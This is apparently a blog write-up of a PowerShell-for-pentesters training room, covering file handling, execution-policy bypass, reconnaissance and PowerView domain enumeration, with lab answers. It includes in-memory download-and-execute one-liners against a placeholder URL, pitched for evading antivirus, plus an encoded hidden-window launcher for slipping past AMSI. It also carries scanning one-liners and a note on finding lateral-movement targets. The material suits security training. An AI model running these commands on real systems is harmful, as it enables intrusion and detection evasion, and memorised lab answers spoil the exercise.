LEARN >> PowerShell for Pentesters

Table of Contents

This room offers some more PowerShell commands to add to a pentesters aresenal – a lot of which are great for enumeration or just for simply "living off the land".

Task 2 – Manipulating Files

  • Start-Process does as it says – it will start a process!
    • … or you could simply use .\process.exe to start it…

  • Get-Process will list all running processes, you can use -name to limit it by name.
    • … or use ps for short, which ironically is the exact same command to do the same on Linux…

HINT: if you are dealing with a lot of data to process, you can add | Export-Csv <filename.csv> to export the data to CSV, then download it and import it into your favourite CSV reading application… or alternatively if you are on the desktop or have RDP access, you can use | Out-GridView

  • Get-Content – is the equivalent to Linux cat or Windows type in cmd.exe… it echo the file to screen.
    • … or use gc if you don’t feel like typing all that… alternatively cat also works, just like Linux

  • Copy-Item and Move-Item will copy and move files.
    • … and cp and mv work as well… I don’t know about you, but I am starting to feel a trend here…

  • Get-FileHash will give you the hash of a file; by default it will be a SHA256 hash, but you can also do MD5 if you use -Algorithm

Task 3 – Download Files

This room is more about execution policies then downloads! :O

  • Invoke-WebRequest is the usual way… the expected way. Not the only way, but it works… It obviously requires a URL, but if you want to save it to disk you must specify -OutFile "filename.exe", replacing "filename.exe" with whatever you wish to call it between the "", and alternatively the full path to save it to if not in the current directory.
    • … shorthand, use iwr, or yet again simply go with the Linux default wget


As a bonus, since this room lacked a lot on the actual topic of downloading, here are some bonus ones for you! … with a twist though… let’s also tackle the issue (courtesy of https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters – this whole website is a treasure-trove of one-liners and cheat sheets to help with pentesting! – the page linked is purely just PowerShell related "cheats")

  • IEX(New-Object Net.WebClient).downloadString('http://url:port/file.ps1') – use this one to download the .ps1 file to memory and execute WITHOUT WRITING TO DISK! – this can be a huge help ducking AV.
  • powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://url:port/file.ps1')|iex" – this one much like the above will download and run the script purely in memory, but it will also bypass execution policies. 😉
  • … and last but not least is this method to (very basically) obfuscate the download URL and command:
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc <ENCODED_PAYLOAD>" 
  • If you are using Linux on your attack box (and goddamnit you should be!) this will help you encrypt your payload to be used in place of <ENCODED_PAYLOAD>
echo -n "<PAYLOAD>" | iconv -t UTF-16LE | base64 -w 0

e.g. to download a malicious .ps1 script, and execute…

echo -n "IEX(New-Object Net.WebClient).downloadString('http://url:port/file.ps1')" | iconv -t UTF-16LE | base64 -w 0

NOTE: This will not hide much from any sys admin / security team with half a braincell – they will notice straight away that this is base64 encoded and reverse it to see the command in plain text… however, this could be used on older versions of Windows (or non-updated systems) as a basic method of bypassing AMSI – newer versions will detect base64 encoding, then decode and scan the underlying code.

Execution Policy

OK, since this article did cover this, we might as well throw in the tasty bits:

  • This is an example of a script failing to run due to Execution Policy:

  • Microsoft themselves quote that "ExecutionPolicy is NOT a security feature", it is merely an added safety measure that can be disabled by the user at will. You can see the current ExecutionPolicy configuration by typing Get-ExecutionPolicy -list.

  • Execution policies can have seven different values:

  1. AllSigned – Scripts can run but require all scripts to be signed by a trusted publisher.
  2. Bypass – All scripts can run, and no warnings or prompts will be displayed.
  3. Default – This refers to “restricted” for Windows clients and “RemoteSigned” for Windows servers.
  4. RemoteSigned – Scripts can run, and this does not require local scripts to be digitally signed.
  5. Restricted – The default configuration for Windows clients. Allows individual commands to run, does not allow scripts.
  6. Undefined – This shows that no specific execution policy was set. This means default execution policies will be enforced.
  7. Unrestricted – Most scripts will run.
  • The "legitmate" (not common as this is a long-winded) is using powershell -ExecutionPolicy Bypass -File .\script.ps1 on a per-script basis, or to switch it off for the current PowerShell session – Set-ExecutionPolicy Bypass -Scope Process.
    • …of course, there is also -ep bypass or -exec bypass if using the per-script variant… those are both shown above in the

Task 4 – System Reconnaissance

While there are several PowerShell scripts available for reconnaissance, these may be flagged by antivirus installed on the task system… sometimes it can be easier just sticking to some more manual techniques.

  • Get-Hotfix will list all currently installed hotfix patches, including when they were installed and that ever important HotFixID so you can tell exactly what patch is installed (a bit of Googling can help). Having a list of HotFixes installed on the current machine can help you find exploits for the HotFixes that it is missing. 🙂

NOTE: much like the last topic, this one barely covers "System Reconnaissance" and goes on more about PowerShell features to help shape command output… shrugs

Formatting that output

  • Using pipelining, you can use Format-List to format what is usually displayed as a table in a list format – add on another pipeline with findstr and we can show only one field per hotfix:

  • The alternative to Format-List is Format-Table – using this on data already tabled can help you decide what you see… for example:

  • Format-List can also be used to get more information than usual from what is a table by default:

  • Piping Out-File filename will write the output to a file:

Question Answer

PS C:\Users\Walter\Desktop> Get-HotFix | Where-Object -Property InstalledOn -match 05/15/2019

Source        Description      HotFixID      InstalledBy          InstalledOn
------        -----------      --------      -----------          -----------
WATCHMAN-DC   Security Update  KB4499728     NT AUTHORITY\SYSTEM  5/15/2019 12:00:00 AM

OR (no zero infront of that 5 on this one... it's not as smart)

PS C:\Users\Walter\Desktop> Get-HotFix | findstr 5/15/2019
WATCHMAN-DC   Security Update  KB4499728     NT AUTHORITY\SYSTEM  5/15/2019 12:00:00 AM

Task 5 – Network Reconnaissance

Network reconnaissance… ping a range of hosts… seems legit.

  • To ping a range of IP addresses, use the following oneliner (this one does to .15):
1..15 | %{echo "10.0.2.$_"; ping -n 1 10.0.2.$_ | Select-String tt1}

  • OK we have IP’s, but what about ports? (this will do the first 1024 ports of the supplied IP):
1..1024 | %{echo ((New-Object Net.Sockets.TcpClient).Connect("", $_)) "Open port on - $_"} 2>$null

Task 6 – Using PowerView

PowerView is one of the most effective ways to gather information on the domain (Active Directory networks). The module can be downloaded from: https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

REMEMBER: you may need to bypass the execution policy to be able to run the script. Use Set-ExecutionPolicy Bypass -Scope Process to bypass it for the current PowerShell session, or call the script with powershell -ep bypass to run it without execution policy.

  • The "official" way to load a PowerShell module is to use Import-Module .\powerview.ps1
    • however, you can also simply use . .\powerview.ps1 to do exactly the same….

Now that we have loaded in PowerView, we can use any or all of the wonderful tools it provides! This guide won’t cover them all… just the bare essentials.

  • Get-NetDomainController will collect information on the Domain Controller

  • Get-NetUser will list domain users. This will output a lot of information, so dumping to a CSV or using Out-GridView if in a desktop environment would be wise.
    • We can also use (Get-NetUser).name for example, which will show us only one field of information that we request (name in this instance).
    • Also, another method is to use something like Get-NetUser | select -ExpandProperty lastlogon to show the full data stored in that column that you may not see in standard output.

  • Get-NetComputer will give information on systems connected to the domain.
    • If you append -ping to the request then it will show you the systems that are currently online.

  • Get-NetGroup will give you information on the groups setup within the domain.

  • Get-NetGroupMember "Domain Admins" will give you a list of all people in the Domain Admins group… and any other group you wish to check.

  • Find-DomainShare will list all the available network shares in the domain.
    • You can limit this to only accessible shares for the current account by appending -CheckShareAccess to the command.

  • Get-NetGPO will give you information on the enforced policies.

  • Get-NetDomainTrust – The domain you are testing may have a trust relationship with another domain. If this is the case you may be able to extend your scope of the reconnaissance to that domain as well.

    • To run the above commands on another domain we have a trust relationship with is relatively easy – just append -Domain <DOMAIN-ADDRESS> to the command. (e.g. Get-NetUsers -Domain infra.munn.local)
  • Find-LocalAdminAccess will show you what systems the current user can obtain local administrator access – this is extremely handy for lateral movement.

Want more?

Here is an excellent resource of commands to try out with PowerView, presented by book.hacktricks.xyz – an excellent resource for much more than just PowerView!


PS C:\Users\Walter> Get-NetUser | select -Property description

Built-in account for administering the computer/domain
Built-in account for guest access to the computer/domain

Key Distribution Center Service Account

PS C:\Users\Walter> Get-NetUser | Where-Object -Property useraccountcontrol -match ACCOUNTDISABLE | Measure

Count    : 4
PS C:\Users\Walter> Get-NetGroupMember "Domain Admins" | Measure

Count    : 3
PS C:\Users\Walter> Get-NetGroupMember "Domain Admins" | Select-Object -Property MemberName | Sort-Object MemberName

PS C:\Users\Walter> Find-DomainShare

Name                 Type Remark              ComputerName
----                 ---- ------              ------------
ADMIN$         2147483648 Remote Admin        WATCHMAN-DC.WATCH.local
C$             2147483648 Default share       WATCHMAN-DC.WATCH.local
IPC$           2147483651 Remote IPC          WATCHMAN-DC.WATCH.local
NETLOGON                0 Logon server share  WATCHMAN-DC.WATCH.local
operationfiles          0                     WATCHMAN-DC.WATCH.local
SYSVOL                  0 Logon server share  WATCHMAN-DC.WATCH.local
PS C:\Users\Walter> Get-NetGPO | Select-Object -Property displayname

Default Domain Policy
Default Domain Controllers Policy
Disable WinDef
PS C:\Users\Walter> Get-NetUser | Where-Object -Property useraccountcontrol -match ACCOUNTDISABLE | Select-Object
 -Property givenname | Sort-Object givenname



Leave a Reply

Your email address will not be published. Required fields are marked *